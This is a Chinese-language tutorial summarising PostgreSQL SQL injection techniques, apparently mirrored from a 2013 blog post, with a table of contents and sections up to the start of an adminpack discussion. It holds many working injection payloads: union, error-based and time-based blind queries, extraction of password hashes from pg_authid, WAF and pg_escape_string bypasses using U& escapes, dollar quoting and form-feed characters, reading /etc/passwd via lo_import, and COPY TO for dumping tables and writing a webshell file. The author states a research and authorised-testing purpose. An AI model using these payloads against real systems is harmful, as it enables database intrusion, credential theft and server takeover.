Postgres注入方式总结

Postgres注入方式总结

By zcgonvh(zcgonvh@https://www.360docs.net/doc/e64414052.html,)

Blog: https://www.360docs.net/doc/e64414052.html,

2013-06-10

目录

0x00 前言 (1)

0x10 基本语法 (1)

0x11 多行查询与代码块 (1)

0x12 Limit (1)

0x13 Unknown类型 (1)

0x14 数据类型转换 (3)

0x20 Schema与目录对象 (3)

0x21 什么是Schema (3)

0x22 通过pg_catalog获取数据库关键信息 (4)

0x23 通过information_schema获取数据库架构信息 (4)

0x30 通过注入点获取数据 (5)

0x31 Union-Select型注入点 (5)

0x32 无输出显错型注入点 (7)

0x33 无输出无显错型注入点 (8)

0x40 构建更加精巧的注入语句 (9)

0x41 利用函数聚合字段/结果集 (9)

0x42 利用多行执行进行复杂查询 (10)

0x43 利用多行执行忽略数据类型敏感限制 (10)

0x44 利用美元符绕过GPC与pg_escape_string (11)

0x45 利用特性绕过W AF (11)

0x46 多次带入执行时的处理方法 (12)

0x50 文件操作：Copy、AdminPack与Large Object (12)

0x51 缺陷严重的Copy (12)

0x52 基本无用的adminpack (14)

0x53 使用Large Object实现文件操作 (15)

0x60 利用UDF函数获取反弹Shell (17)

0x70 附录A：常用函数 (21)

0x80 附录B：附件 (21)

0x81 测试数据库与测试站点 (21)

0x82 UDF的一些注意事项 (22)

0x83 常用注入语句 (23)

0x00 前言

Postgres(以下或简称pg)在国内并不常见，而在国外的流行程度却不下mysql。记得第一次遇到pg时由于网上关于pg注入的知识(尤其是利用pg专有特性的知识)极少，大多都是一样的内容转来转去，其中还夹杂了若干未验证过的错误，导致走了很多弯路。痛定思痛，为了防止以后初相类似的状况干脆自己本地搭建起pg环境，模拟注入点并结合查询分析器pgadmin进行分析，所幸略有收获，最后总结出这篇文档。

本文档测试环境为pg9.2(win32、linux) + win2003sp2(x86)/ubuntu 12.04(x86) + apache2.2.22(win32 wamp) + php 5.3.13(win32 wamp)，测试以查询分析器为主，以测试页面作为辅助。文档旨在总结postgres注入方法，注入点均为本地模拟而成，不会出现实战注入过程。

为保证完整的逻辑性，文章将从较为基础的部分进行讲解，如感觉冗长可以选择性跳过。测试中难免有疏漏错误之处，如发现错误还请指出，不胜感激。

文章中所用的测试数据库建立语句、测试页面代码、UDF程序与源码及注意事项、常用的注入语句，均可在0x80 附录B：附件中找到。

感谢c4bbage在测试中的帮助，对于这种任劳任怨的朋友只能默默的报以感激。

免责声明：本文档旨在安全研究，通过探讨攻击原理从而形成防御对策。实战中请确认已获取目标站点站长授权或本地搭建测试系统操作。本人对因本文档所述攻击方法而造成的各种直接与间接损失不负有任何法律责任。

0x10 基本语法

Postgres的基本语法与mysql类似，如果对手工注入或sql语法有较多了解不会有任何困难。

这里只列举几种语法特性与常用语句，以供参考，更多的资料参考官方文档：

https://www.360docs.net/doc/e64414052.html,/docs/9.2/static/sql-syntax.html

（注：所有的sql语句不区分大小写，无论是操作符还是字段名，Postgres都是大小写不敏感的）。

0x11 多行查询与代码块

Postgres支持多行查询，语句间的分隔符为分号，同时也只有分号是合法的分隔符。

如果多行执行的语句中有超过一个语句会返回结果集，则只保留最后一个。

例如：执行查询语句

select 1;select 2;

获取的结果为2。

Postgres支持以begin;开始，以end;结束的代码块，但代码块内执行的语句不会有任何返回结果。同时如果代码块之前一条语句会返回结果，则先前语句返回的结果集会被覆盖（即不返回任何结果）。

例如：执行查询语句

select 1;begin;select 2;end;

不会返回任何结果集；

执行

begin;select 1;end;select 2;

返回2。

0x12 Limit

在postgres中，limit的语法为

select [field list] from [table] limit count offset start;

其中start为起始位置（以0开始），count为总数。

0x13 Unknown类型

Postgres输入的所有字符串都被认为是Unknown类型。也就是输入本身是未定义类型，由数据库根据

操作进行匹配转换，如果匹配失败则报错。

Unknown类型有两种输入模式：单引号转义模式与美元符逃逸模式。

在单引号转义模式中允许使用前缀E/U&/B/X表示转义字符串/Unicode字符串/位串，其中E表示进行c语言风格的转义，U表示进行Unicode转义，并支持自定义转义符，B和X代表后续跟随的是一个bit序列。例如以下查询都将返回制表符（0x09）：

select E'\t';

select E'\012';

select E'\x09';

select E'\u0009';

select U&'\0009';

select U&'!0009' uescape '!';

B和X会将其后跟随的字符串转换为bit序列（即二进制数），例如以下查询都将返回bit值01010101（如果是在php或查询分析器中查询，则返回字符串01010101）:

select B'01010101';

select X'55';

注：在postgres中由一个名为standard_conforming_strings的变量控制在没有任何前缀时是否自动进行c语言风格的转义。这个变量是一个text型的字符串，如果值为on，则表示只有以postgres风格显式声明转义前缀的字符串会进行转义，如果不加前缀的话，则不会进行任何转义（除了两个单引号会被转换为单引号之外）；如果值为off，则表示没有任何前缀的字符串将自动进行c语言风格转义。这个值在9.1之前的版本为off，而在9.1及之后的版本为on。

例如，在standard_conforming_strings为on时，以下查询会成功执行并返回反斜杠：

Select '\';

而在为off时，则会出现“未结束的引号字串”的错误信息。

美元符逃逸模式是postgres专有的字符串声明格式，其目的是为了避免由于字符串中包含大量的反斜杠或单引号而进行的转义，其构成方式由一个美元符号（$），一个可选的零个或多个字符“记号”，另外一个美元符号，一个组成字串常量的任意字符的序列，一个美元符号，以及一个和开始这个美元符包围的记号相同的记号，和一个美元符号组成。例如以下查询均返回单引号：

Select $$'$$;

Select $tag$'$tag$;

在美元符逃逸模式中没有任何字符串需要转义，也没有任何字符串会被转义，转义字符与前缀均不可用。唯一要注意的是被转义字符中不能出现与包围这些字符串的记号相同的字符串，例如上例中第二个语句中的字符绝不能出现$tag$，否则会在出现$tag$的地方截断，同时将之后的字符串作为查询的别名。如果查询的别名也由$....$开始，同时没有匹配的结束标记，则会返回一个错误。例如以下查询返回单引号，同时将指定别名test$tag$：

select $tag$'$tag$test$tag$;

而以下语句会返回“未结束的$符号引用的字符串”的错误信息：

Select $tag$'$tag$$test$tag$;

另：以U&为前缀、双引号包含的字符串会作为表名、字段名与函数名等关键字使用。例如：

Select U&"\0061" from test; --等同于select a from test

select a from U&"!0074est" uescape '!'; --等同于select a from test

select U&"!0063hr" uescape '!' (97); --返回a，等同于select chr(97)

更多的信息参考：

https://www.360docs.net/doc/e64414052.html,/docs/9.2/static/sql-syntax-lexical.html

0x14 数据类型转换

Postgres支持两种数据类型转换方式：使用cast语句或::运算符。

cast 语句的语法为：

cast([field/value] as type)

例如：

select cast( '1' as int);

返回数字1

::运算符用于值或字段之后，效果同cast，但在语法上简便许多，在需要进行多次转换进行报错的时候无疑是很方便的。

例如：

select '1'::text::int;

返回数字1

注：在Postgres中，转换会先判断类型，某些类型之间是不能互相转换的（例如bytea和int），但几乎所有的类型都可以转换为text。这样通过转为text再转为int的双次类型转换报错在注入中相当有用，具体参见0x32 无输出显错型注入点。

0x20 Schema与目录对象

关系型数据库一般都有着存放库、表、字段之间对应关系的表（或视图），postgres也不例外。

所不同的是postgres多出一个Schema对象，这也是postgres与其他数据库最大的几个不同点之一。

0x21 什么是Schema

Schema是Postgres中的一个特殊对象，Schema可以看作一个数据库中单独分割出的独立的数据库系统。利用Schema可以进行权限划分或水平的功能分割操作。

由于Postgres认为数据库是一个独立的个体，所以跨库操作是不允许的。但Schema属于数据库本身的一部分，所以跨Schema读取数据是完全可行的（前提是需要拥有读取的权限）。

跨Schema读取数据有两种方式，第一种是类似于mysql跨库查询的语句，例如执行查询：

Select * from Manager.admin;

将返回Manage r Schema中表admin的内容。

或者使用

set search_path to [Schema Name];

修改查询路径。

例如执行：

set search_path to manager;

select * from admin;

也将返回Manager Schema中表admin的内容。

注意：这条语句在注入中不会起到任何作用。

另：默认使用的Schema名称为public，这是postgres建立一个数据库时自动生成的Schema。

Postgres中有一种名为目录的特殊的Schema，它由系统在建立数据库时生成。目录所包含的对象叫目录对象，可以理解为Schema中的表；目录对象中包含字段。

默认情况下会生成两个目录：pg_catalog和information_schema。Pg_catalog中存放当前数据库的对象，例如系统函数、默认视图、大对象等。

information_schema存放的则是当前数据库的架构信息，具体参见0x23通过information_schema获取数据库架构信息。

0x81 测试数据库与测试站点即为一个Schema使用的例子，网站将前台数据保存至默认Schema中，同时将所有的后台信息保存至Manager Schema中，这样可以省去很多不必要的表前缀，方便数据库管理。

注意：Schema是Postgres中极为重要的特性，在注入获取数据时一定不能忽视Schema。

0x22 通过pg_catalog获取数据库关键信息

所有的数据库名称存放于pg_database目录对象的datname字段中，这个目录对象与字段任何用户均可读取。

例如：以下语句会返回所有的数据库名称。

Select datname from pg_database;

注意：名称以template开头的数据库为postgres自动生成的临时数据库，不需要理会。

数据库的配置信息储存于pg_settings目录对象中，其中name字段为设置选项的名称，setting字段为选项的值。

这些配置信息中最为重要的便是几个目录信息：数据库文件目录（data_directory）与数据库认证配置文件路径（hba_file），不过只有在super权限下才能进行读取。

例如，使用以下语句会返回以上两个目录信息（需要super权限）

select name,setting from pg_settings where name in ('hba_file','data_directory');

数据库的用户信息存放于pg_authid目录对象中，只有在super权限下才能进行读取（super可以看作是mssql中的sysadmin，是postgres中最高的权限组；无论何时，postgres用户总拥有最高的权限）。

这个目录对象记录了所有的用户信息，最为重要的是用户名及加密后的密码。其中用户名储存于rolname字段，密码储存于rolpassword字段。

使用以下语句可以查询出数据库所有的用户与加密后的密码：

select rolname,rolpassword from pg_authid;

注：postgres密码加密方式为 'md5'+md5(密码+用户名)

pg_user是一个视图，其中映射了pg_shadow视图（这个视图映射了pg_authid的部分字段）的内容---除了密码被替换为一串星号，其余的数据完全相同。

事实上我们只需要关心这个视图内的一个字段：usesuper，这个字段为一个布尔值，表明是否为super 用户。例如，使用以下语句即可判断当前用户是否具有super权限：

select usesuper from pg_user where usename=current_user;

0x23 通过information_schema获取数据库架构信息

和mysql类似，postgres中也有储存数据库表段与字段的information_schema对象，所不同的是mysql 中的information_schema是独立的数据库，而在postgres中为在数据库中共享的目录对象。

information_schema目录存放了当前数据库全部的架构信息，例如全部的表名，表中全部的字段，字段之间的关系等等。在注入利用中，最需要关心的只有三点：所有的Schema、所有的表与其所属的Schema、所有的字段与其所属的表。

所有的Schema信息存放于schemata目录对象中，schema_name字段存放的就是Schema的名称（可以

看到information_schema也在其中）。不过很遗憾，非super权限不能从这个目录对象中读取到任何内容。

所有的表名存放于tables目录对象中，所有的字段名存放于columns目录对象中，这两个表在非super 用户下也可以进行读取操作。

这两个表均包含table_schema字段，用以表示所属的Schema。这样利用以下语句即可获取完整的Schema信息：

select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1;

注意：这里排除了pg_catalog与information_schema两个目录的信息并将其分组，从而只剩下不重复的用户表名。

所有表信息则存放于tables目录对象的table_name字段中，使用以下语句即可查询出所有的用户表：select table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1;

所有字段信息则存放于columns目录对象的column_name字段中，同时由table_name字段记录对应的表名。使用以下语句即可查询出所属于Manager.admin的所有字段。

select column_name from information_schema.columns where table_schema='manager' and table_name='admin';

0x30 通过注入点获取数据

在注入点进行操作的大多时候离不开错误信息，在可以获取错误信息同时需要手工注入的情况下，不建议使用火狐进行注入测试。原因是如果是语法错误，Postgres返回的错误信息类似于：

注意2下面的^符号，代表第二个字段类型不匹配。

而在火狐中，会显示为：

^符号的位置不在2的下方，这样的话在定位类型不匹配的字段时会更加繁琐。

注意：本章只结合测试程序对常见的几种注入点进行简单讲解（这里假设读者对手工注入与sql查询有一定的基础），具体的注入语句请根据所需功能结合其他章节与0x70 附录A：常用函数中所列举的函数自行构造。

0x31 Union-Select型注入点

Union-Select型注入点的特点是数据库通过执行Union Select语句返回的结果集中有一行或多行会被web应用程序处理并返回结果，也是最常见最常用的注入方式。Union-Select型注入根据显示方式可以分为Union-Select,Union-List,Union-Download四种，其中由于前两种极为常见这里一笔带过，重点对Union-Download两种较为少见的注入点体现进行讲解。

Postgres在进行union select操作时对数据类型是敏感的，如果类型不匹配的话，则会返回“Union 类型的类型 XXX与XXXX不匹配”的错误。由于Unknown类型可以转换为绝大多数类型，所以可以使用'1','2','3'……代替1,2,3，从而实现自动匹配。

注意：在任何时候都不建议用null进行匹配，因为有时可能会因此导致缺少一个甚至多个重要的输出位置，用单引号或美元符引起的字符串作为替代是最好不过的做法了。

由于Union会根据构造的语句在页面“正常”地显示一些信息，所以在注入时无疑是极为方便的。

测试站点提供的Content.php模拟了Union-Select型注入，访问：

Content.php?id=1 and 1=2 union select 1,'2','3','4'--

即可发现正常的页面中出现了3、4两处显示位置，将3、4替换为其余语句即可进行进一步的注入。

此时访问：

Content.php?id=1 and 1=2 union select 1,'2',count(*)::text,'4' from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x--

即可获取Schema总数。

访问：

Content.php?id=1 and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3 limit 1 offset 0--即可获取第一个Schema名称，逐渐修改offset的值即可获取所有的Schema名称。

Image.php则模拟了一种特殊的Union-Select型注入，这里暂时称之为Union-Image型注入。这种注入的主要不同点在于数据库中储存的字段不是常见的数值或字符串，而是bytea型数据（类似于MSSQL中image类型）。bytea可以看作是字节数组（byte-array），由于postgres允许将varchar/text类型转换为bytea，同时也可以自动从Unknown类型进行转换（执行这两种转换时，会将字符串代表的内容转换为对应的以数据库默认字符编码转换后的值，默认为UTF8），所以实际在注入时并没有太明显的区别。

要注意的事项有两点：

1.由于服务器脚本在处理返回字段时会将此字段表达的字节直接输出到Response流中（只有这样用户才能从浏览器中看到完整的图片），所以某些需要判断关键字的注入工具在这里是不起作用的，只能通过手工进行注入。

2.由于服务器可能会返回image/jpeg头，在浏览器中测试可能导致即使注入成功也只会返回一个错误图片的红叉，所以建议一旦确定是Union-Image型注入，建议转为使用Burp等工具进行操作。

例如，访问：

Image.php?id=1 and 1=2 union select 1,'2','%e6%96%b0'--

则会返回字符“新”（%e6%96%b0为URL编码后经过UTF8编码后的“新”，仔细体会其中的编码过程）访问：

image.php?id=1 union select 1,'',table_schema::text::bytea from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3--即可列出第一个Schema名称，逐渐修改offset的值即可获取所有的Schema名称。

List.php模拟了Union-List型注入。顾名思义，Union-List型注入点所在脚本文件会遍历查询返回的结果集中每一行，并在将其处理后输出到页面。

访问：

List.php?type=article' union select 1111,'2222','3333','4444'--

会发现列表中多出了一条名为3333的项，同时其链接指向1111，可以确认1、3为两个显示位。

此时访问：

List.php?type=article' and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3--

即可列出所有的Schema。

最后一种暂时称之为Union-Download型注入点，也就是服务器将上传的文件保存在某个目录下（例如为了安全起见，统一保存在网站目录上一级中的uploads目录中，即/../uploads，以防止上传攻击），同时在数据库中保存文件的路径。用户下载文件时服务器脚本根据传递的id获取文件路径，读取文件并直接输出到Response流。

这种Union-Download型注入点并不是非常常见，但一旦发现，则必然是一个危害性不亚于注入的任意文件下载漏洞。在非文件服务器与web服务器分离的情况下可能通过此注入点下载网站所有脚本并进一步攻击，危害可谓极大（在linux权限划分极为严格的情况下，postgres用户是不可能访问网站目录的。而此漏洞却突破了这个限制，危害自然不言而喻）。

Download.php模拟了此种注入的情形，访问：

Download.php?id=1 and 1=2 union select '1','/download.php','3'--

即可下载download.php文件的内容。

0x32 无输出显错型注入点

其余所有的不能通过闭合语句使用Union联合查询获取返回结果的注入点这里均称为无输出型注入点。由于不能“正常”的获取返回信息，所以要借助强制类型转换所导致的报错来获取信息，这就需要一个前提：服务器脚本可以返回一些数据库错误信息（这其实是很常见的）。

在这种注入点进行注入时需要根据爆出的错误信息闭合查询语句，之后利用可以多行执行的特性在语句后加入其他语句进行查询并将结果进行强制类型转换，最后根据错误提示获取所需信息。

测试程序中Update.php模拟了这种注入（请不要在URL进行注入，那不是本节要讨论的内容），在输入新名称的文本框输入单引号会返回以下错误信息：

可以看到输入内容被带入到Update语句中，由于Update不会返回结果集，所以只能使用报错的方式注入。

输入：

111' where id=1;select ('!'||count(*)::text)::int from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x--

并提交，返回以下错误信息：

由此可知Schema的总数为2。注意语句中的'!'||count(*)::text，这里表示将总数转换为text并在前面添加一个叹号（与oracle类似，postgres的字符串连接运算符为||），添加叹号目的是防止由于count(*)转换为text值之后仍旧代表有效数字的字符串时转换成功而不会返回错误信息。建议在使用任何报错语句时均为结果加上一个非数字前缀（例如这里的叹号），以防在某些时候获取失败。

输入：

111' where id=1;select ('!'||table_schema::text)::int from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x limit 1 offset 0--

并提交，返回以下错误信息：

由错误信息可知第一个Schema名称为manager，逐渐修改offset的值即可获取所有的Schema名称。

当然，这种方法也适用于Union型注入点，在够构造出精巧的报错语句后使用现成的报错语句无疑是很方便的（参见0x40 构建更加精巧的注入语句）。

注意：如果导致出错的强制类型转换在select之后，同时语句包含limit，则limit无效，总是返回原语句去掉limit后查询所得结果的第一行相应字段进行强制类型的转换出错信息。

例如：表test包含varchar类型字段a,b，a字段的值为a1,a2……b字段的值为b1,b2……

执行

select a,b from test limit 1 offset 1;

返回：a2 b2

执行select a::int from test limit 1 offset 1;

返回：无效的integer输入格式“a1”

解决方法是使用嵌套查询：

select b::int from (select '!'||a as b from test limit 1 offset 1)x;

返回：无效的integer输入格式“a2”

每次进行查询都相当于进行一次事务操作，如果出错的话，则会执行回滚（rollback）操作。

例如在大对象导入时（具体参见0x53 使用Large Object实现文件操作），如果想获取返回的oid，使用以下语句虽然会得出错误信息，但大对象并不会成功导入：

Select ('!'||(lo_import('/etc/passwd')::text))::int;

原因就是在执行查询前创建了一个事务，并将此次查询放在这个事务中。当查询出错时会进行回滚操作，导致lo_import的操作被无效化。

在这种情况下，只能进行分开的两次注入，并借助临时表保存结果，例如第一次注入时执行查询：Create table tempAXU78(oid id);Insert into tempAXU78 Values(lo_import('/etc/passwd'));-- 第二次即可执行以下语句获取结果：

Select ('!'||(id::text))::int from tempAXU78;

最后不要忘记删除临时表：

Drop table tempAXU78;

0x33 无输出无显错型注入点

当服务器脚本屏蔽了错误回显，同时不能使用union的情况下，可以采用盲注的手法获取数据。

盲注的手法基本可以分为以下两种：

1.常规盲注，通过判断页面正确与否获取信息。

这种盲注手法需要用到两个函数：substr和ascii。substr用于从指定位置截取指定长度的字符串，ascii用于将字符转换为ascii码，具体参见0x70 附录A：常用函数。

获取到ascii码之后，将其与数字进行比较即可获取字符串的值，例如以下条件语句会在当前的Schema名称的首字母为小写时返回true：

ascii(substr(current_schema(),1,1)) between 97 and 112

通过构造不同语句，逐个获取字符并比较，即可取得任何的信息。

2.基于时间的盲注，通过判断延时语句是否执行来获知条件是否为真或语句是否执行。

在postgres中，延时的语句为

pg_sleep(int)

其中int表示要等待的秒数。

延时语句一般与多行执行共同作用，由于postgres多行执行会覆盖前前一行执行时返回的结果集，导致web应用程序会因为不能从结果集中获取结果而出错。所以为了判断前一条语句是否执行，加入延时语句是很方便的做法。

例如：以下语句会创建一个testADY7FD表，同时如果表创建成功，则会延时2秒:

（闭合前方查询）;Create table testADY7FD;select pg_sleep(2) where (select table_name from information_schema.tables where table_schema=current_schema() and table_name='testADY7FD') is not null--

红色的create table语句可以换成其他任意合法的sql语句，同时后面的条件语句也要做出相应修改。

另：如果需要多行执行的语句本身就是一个select语句，则去掉红色的create table部分，并将红色的select语句替换为所需要的语句。

也可以直接利用多行执行导入UDF，之后反弹回一个Shell（参见0x60 利用UDF函数获取反弹Shell）。用UDF反弹Shell结合延时是很方便的做法。

0x40 构建更加精巧的注入语句

由于postgres支持多行执行，导致注入语句有着极大的灵活性。而为了充分利用postgres特色注入仅仅按照常规的注入->后台->shell/注入->脱裤/注入->导出文件->shell是完全不够的（第一种需要后台；第二种大多时候效率较低；第三种在linux下成功率不高，同时站库分离情况下基本无用）。

所以为了深入挖掘postgres注入的潜力，本章将分析postgres查询语句中的一些特性。可以将这些特性结合到注入点中，以做到对注入点最大化、最充分的利用。

0x41 利用函数聚合字段/结果集

在查询多个字段时，可以使用Concat_ws或concat函数将多个字段的结果聚合到一起。这两个函数在使用上与mysql与之同名的两个函数没有任何不同。

例如，以下两条语句均会将表名与其对应的Schema输出出来，并以冒号作为分隔符：

select concat(table_schema,':',table_name)from information_schema.tables where table_schema not in('pg_catalog','information_schema');

select concat_ws(':',table_schema,table_name)from information_schema.tables where table_schema not in('pg_catalog','information_schema');

当需要将某一行中几个字段聚合到一起时，可以使用row函数。例如，以下语句会将所有的Schema、表名与字段名合并为一行并输出：

select row(table_schema,table_name,column_name)from information_schema.columns where table_schema not in('pg_catalog','information_schema');

在需要将某个字段的值聚合到一行时，可以使用array_agg函数。例如，以下语句会在一行输出所有的Schema：

select array_agg(a) from (select table_schema::text as a from information_schema.columns where table_schema not in ('pg_catalog','information_schema') group by 1)b;

当需要把某个查询的结果集作为一行输出时，可以使用array函数。array并不是类似于sum等在查询中使用的聚合函数，而是用于聚合一个查询的结果集。

例如，以下语句会将所有的表名与其对应的Schema聚合到一行并输出：

select array(select concat_ws(':',table_schema,table_name) from information_schema.tables where table_schema not in('pg_catalog','information_schema'))::text;

注意：如果要使用array聚合的结果集中有非text字段，建议将其转换为text。Array函数返回的是一个数组，所以最好将其转换为text并输出。

结合以上的这些内容，可以做到只执行一条语句就能获取所有的表、字段、Schema与其对应关系：with a as (select table_name tname,array_agg(column_name::text)cname, array_agg(table_schema::text)sname from information_schema.columns where table_schema not in ('pg_catalog','information_schema') group by 1 ),b as(select unnest(sname)sname,tname, unnest(cname)cname from a order by 1)select array(select row(sname,tname,cname)::text from b)::text::int;

with语句会将一个或多个查询的结果集保存，并指定别名以供之后的语句调用，unnest是array的反函数，会将一个数组拆分为多个行，最后执行强制类型转换报错。这条语句最终会返回以下错误信息：无效的integer 输入语法: "{"(manager,admin,name)", "(manager,files,managerfile)", "(manager,admin,id)","(manager,admin,password)","(public,images,name)"……（省略部分）。

而如果是一个Union-List型注入，则将最后的查询语句修改为：

Select * from b;

即可列出所有表、字段、Schema。

可以看出：利用好这些聚合函数并构造语句，可以免除使用limit递增这种相对较慢的注入方式，即：将普通的union型注入点转换为union-list型注入点。或者可以更加直观的利用union-list型注入，用处非常大。

0x42 利用多行执行进行复杂查询

当可以通过某些方法比和服务器脚本中的查询语句时，就可以使用多行查询进行更多的操作。由于多行查询可以执行任何合法的sql查询语句，这里不做具体的讲解。

一个典型就是在super权限下通过注入点反弹Shell，具体参见0x60 利用UDF函数获取反弹Shell，这里不多做赘述。

另外，通过闭合服务器脚本中的查询语句并在后面多行执行的语句处执行较为简单的查询语句并报错在一定程度上可以减少构造语句的难度（例如注入点为嵌套在子查询中的Limit型注入，即使在出错页面返回了全部的服务器脚本中查询语句，构造难度也相当大。而在多行查询中只要简单的闭合前面的语句，并在最后加入报错查询语句即可，减少了一部分操作）。

0x43 利用多行执行忽略数据类型敏感限制

由于在postgres中，多行执行总是只能获取最后一行的结果，利用这点可以通过多行执行绕过数据类型敏感的限制。

例如，访问测试站点中：

Content.php?id=2 ;select 1,2,3,4--

会在页面返回3，4

而访问：

Content.php?id=2 union select 1,2,3,4--

则会返回类型不兼容的错误。

注意：利用这个方式的前提是服务器脚本在处理结果集中每一行时使用数字索引而不是字符串索引（因为后面多行查询部分没有指定别名，这样postgres会将字段名/函数名作为字符串索引并返回），如果使用的是字符串索引，将会出错。

这个方法其实并没有太大的意义，只是作为postgres的特性的利用再此顺便说明而已。

0x44 利用美元符绕过GPC与pg_escape_string

在大多时候，postgres会与php在一起使用，这就涉及到转义的问题。由于Postgres数据库默认字符编码为UTF8，所以想要宽字节注入基本是不可能的。

不过postgres不单单有单引号可以表示字符串，使用美元符同样可以。除了需要显示使用转义字符串的情况下，美元符在任何地方都可以代替单引号（包括查询语句、函数参数，等等。同时在美元符包含模式下使用::运算符进行强制类型转化也是合法的）。

而GPC不会对美元符进行转义，这也就给注入带来了可乘之机：

访问测试站点中的：

Content3.php?id=2 union select 1,$$2$$,$$3$$,$$4$$--

可以发现页面中出现了3、4，已经绕过了GPC（GPC与addslashes作用相同）。

pg_escape_string是php官方推荐的用于在使用postgres作为数据库的web脚本中代替addslashes 的函数，这个函数会将单引号转变为两个单引号，而同样的，$$并不会被转义。

访问测试站点中的：

Content4.php?id=2 union select 1,$$2$$,$$3$$,$$4$$--

可以发现页面中出现了3、4，显然pg_escape_string没有起到任何作用。

关于GPC与pg_escape_string的说明，参考：

https://www.360docs.net/doc/e64414052.html,/manual/zh/function.addslashes.php

https://www.360docs.net/doc/e64414052.html,/manual/zh/function.pg-escape-string.php

0x45 利用特性绕过WAF

由于postgres会将双引号中的内容认为是一个表名/字段名，同时在双引号引起的字符串中使用U&前缀转义是合法的，所以当过滤了information_schema等关键名称时，可以将其用双引号引用并在其前面加入U&转义前缀，同时将其中某个字符替换为对应的Unicode表现形式来绕过WAF。

例如：以下语句同样会返回所有的Schema

select U&"tabl\0065_sch\0065ma" from U&"inform\0061tion_sch\0065ma".U&"t\0061bles" where U&"tabl\0065_sch\0065ma"not in (U&'pg_cat\0061log',U&'inform\0061tion_sch\0065ma') group by 1;

注意：类似于

information_schema.tables

这种由点连接的多个部分组成的对象名称，需要将每个部分分别进行转义，并用点进行连接。

在过滤了select[空格]，from[空格]等情况下，可使用几个字符中任意一个代替空格：

制表符（\t,0x09）

换行符（\n，0x0a）

分页符（0x0c）

回车符（\r，0x0d）

例如访问测试站点中的：

Content4.php?id=2%09union%09select%091,$$2$$,$$3$$,$$4$$--

同样会在页面中输出3和4

注意：要特别记住其中的分页符（0x0c），防火墙可能会拦截回车换行或制表符，但一般情况下不会拦截分页符。

由于点或减号在后面跟随数字会被postgres认为是一个浮点数/负数，所以使用以下语句绕过过滤select[空格]/[空格]from/where[空格]也是可行的：

Select-1from information_schema.tables where-1<0;

Select.1from information_schema.tables where.1<0;

Join语句会将多个查询的结果集横向合并，所以利用join语句可以绕过过滤逗号的情况，例如访问测试站点中的：

Content.php?id=2union select * from ((((select 1)a join (select '2'::varchar)b on 1=1) join (select array(select table_schema::text from information_schema.tables group by 1)::text x)c on 1=1) join (select '4'::varchar)d on 1=1)--

同样会返回所有的Schema名称。

注意：join语句中必须将unknown类型显式转换为所需类型，否则会出现类似于：

failed to find conversion function from unknown to character varying

的错误。其中的character varying即为所需类型，进行转换即可。

0x46 多次带入执行时的处理方法

有时服务器脚本会将提交的参数与某几个语句进行拼接并执行，这就导致了有时某一条语句可能会执行多次，在某些时候需要避免这种情况（例如导入一个大对象），可以采用以下方法进行避免：（闭合前方查询）;create table testSDX78KO();（其余注入语句）

这里会新建一个临时表testSDX78KO，当执行第一次时由于表并不存在，所以会成功执行，在第二次执行时由于表已经存在，则会抛出错误，导致不能继续执行，也就避免了因为多行执行造成的错误结果。

最后不要忘记删除临时表。

0x50 文件操作：Copy、AdminPack与Large Object

0x51 缺陷严重的Copy

网上能够找到的资料中postgres注入读写文件大多都是使用copy操作符。copy可以从将文件导入数据库，或是从数据库导出文件：

例如以下语句实现将c:/windows/temp/files.txt导入test_for_copy表：

create table test_for_copy(data text);

copy test_for_copy(data) from 'c:/windows/temp/files.txt';

之后使用select语句便可进行查询。

看起来似乎很美好，但copy from有三点缺陷：

1.分隔符。默认情况下postgres认为制表符(\t,0x09)为两个字段的分隔符，同时以换行符作为每一行的分隔符。如果要导入的文件中含有制表符，那么制表符至下一个换行符之间的内容都被认为是另一个字段，如果目标表只有一个字段，则会出错。

这其实不是什么太大的问题，copy 提供 delimiter选项用以制定分隔符，例如以下语句将分隔符指定为0x7f（这个符号在绝大多数文本文件内不可能出现）：

copy test_for_copy(data) from 'c:/windows/temp/files.txt' with delimiter E'\x7f';

3.遇到\.时会终止并报错。如果一个文件中包含 \. ，那么使用copy from语句导入时会返回“copy 命令结束标记损坏”的错误（原因是\.是copy from stdin模式下的结束标识，具体参考本节最后的官方文档）。

一个典型就是apache的配置文件。大大多数情况下apache配置文件中都有以下语句：

由于出现了\.，所以语句将出错，导致无法导入。而在找不到网站路径时读取配置文件是相当重要且行之有效的方法，出现这种情况非常令人恼火。

3.导入文件编码必须与服务器编码相对应。

Copy from只能导入与服务器编码相同的文本文件（一般为默认值UTF8），如果导入文件中以服务器编码加载时出现无效字符，则会返回“无效的 XXXX编码字节顺序”的错误，其中XXXX为编码名称，如UTF8。

例如，在一个文本文件中写入文本“测试”，并以ANSI编码保存（这样在简体中文操作系统中文件实际的编码为GB2312），执行语句：

copy test_for_copy(data) from 'c:/windows/temp/files.txt';

会返回以下错误信息：

无效的 "UTF8" 编码字节顺序: 0xb2

同样的，既然无法导入不同编码的文件，那么导入二进制文件更加是不可能的。如果通过某些漏洞（例如编辑器带来的目录遍历）获取到服务器重要备份文件路径（非web目录下），结果却无法将其下载下来，这无疑会让人十分恼火。

综上，除了第一个缺陷影响程度不大，后两个缺陷都是致命的。

Copy to 可以将一个表中的字段或一个查询的结果导出到文件中，用于脱裤是很方便的。

例如，以下语句会将files表的内容全部备份到c:/windows/temp/files.txt：

copy files to 'c:/windows/temp/files.txt';

以下语句会将php一句话写入c:/windows/temp/111.txt：

copy (select $$$$) to 'c:/windows/temp/111.txt'

但是copy to也有一个缺点：不能导出二进制文件。任何不能转换为字符串的字节都将被转换为八进制形式，例如以下代码尝试将字节数组{0xfe,0xff,oxbf}写入文件c:/windows/temp/111.txt，但实际上只会写入字符串\\376\\377\\277：

copy (select decode('feffbf','hex')) to 'c:/windows/temp/111.txt';

在某些时候，导出完整的、未经任何修改的原始二进制文件时很必要的（具体参见0x60 利用UDF函数获取反弹Shell），copy to 显然不适合这种情况。

关于copy语句的更多信息，请参考官方文档：

https://www.360docs.net/doc/e64414052.html,/docs/9.1/static/sql-copy.html

0x52 基本无用的adminpack

